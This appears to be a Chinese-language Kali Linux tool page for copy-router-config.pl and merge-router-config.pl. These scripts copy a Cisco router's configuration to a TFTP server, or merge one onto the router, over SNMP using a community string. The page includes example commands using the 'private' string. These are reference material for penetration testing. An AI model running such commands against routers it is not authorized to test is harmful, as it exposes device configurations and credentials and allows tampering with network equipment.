Skip to content

Latest commit

 

History

History
75 lines (52 loc) · 2.34 KB

copy-router-config.md

File metadata and controls

75 lines (52 loc) · 2.34 KB
title categories tags date
copy-router-config
Information Gathering
copy-router-config
snmp
kali linux
vulnanalysis
information gathering
networking
2016-10-19 15:00:00 -0700

0x00 copy-router-config介绍

从运行SNMP的思科设备复制配置文件

工具来源:braa README

copy-router-config主页 | Kali copy-router-config Repo仓库

  • 作者:muts
  • 证书:GPLv2

0x01 copy-router-config功能

copy-router-config.pl - 通过SNMP协议复制Cisco配置

root@kali:~# copy-router-config.pl

######################################################
# Copy Cisco Router config  - Using SNMP
# Hacked up by muts - muts@offensive-security.com
#######################################################

用法 : ./copy-copy-config.pl <路由IP> <tftp服务器IP> <社区字符串>

确保TFTP服务器已设置,最好从/tmp运行!

注:社区字符串(community string)是一个用在基于简单网络管理协议(SNMP)的管理系统的概念,是一个起着密码作用的文本串,其被用来鉴别在管理站点和一个包含SNMP信息的代理的路由器之间的信息发送。并将被发送到在管理器和代理之间的每个数据包。

0x02 merge-router-config功能

merge-router-config.pl - 通过SNMP协议合并Cisco配置

root@kali:~# merge-router-config.pl

######################################################
# Merge Cisco Router config  - Using SNMP
# Hacked up by muts - muts@offensive-security.com
#######################################################

用法 : ./merge-copy-config.pl <路由IP> <tftp服务器IP> <社区字符串>

确保TFTP服务器已设置,最好从/tmp运行!

0x03 copy-router-config用法示例

将配置从路由器(192.168.1.1)复制到TFTP服务器(192.168.1.15),使用社区字符串(private)进行认证:

root@kali:~# copy-router-config.pl 192.168.1.1 192.168.1.15 private

0x04 merge-router-config用法示例

将配置从路由器(192.168.1.1)合并到TFTP服务器(192.168.1.15),使用社区字符串(private):

root@kali:~# merge-router-config.pl 192.168.1.1 192.168.1.15 private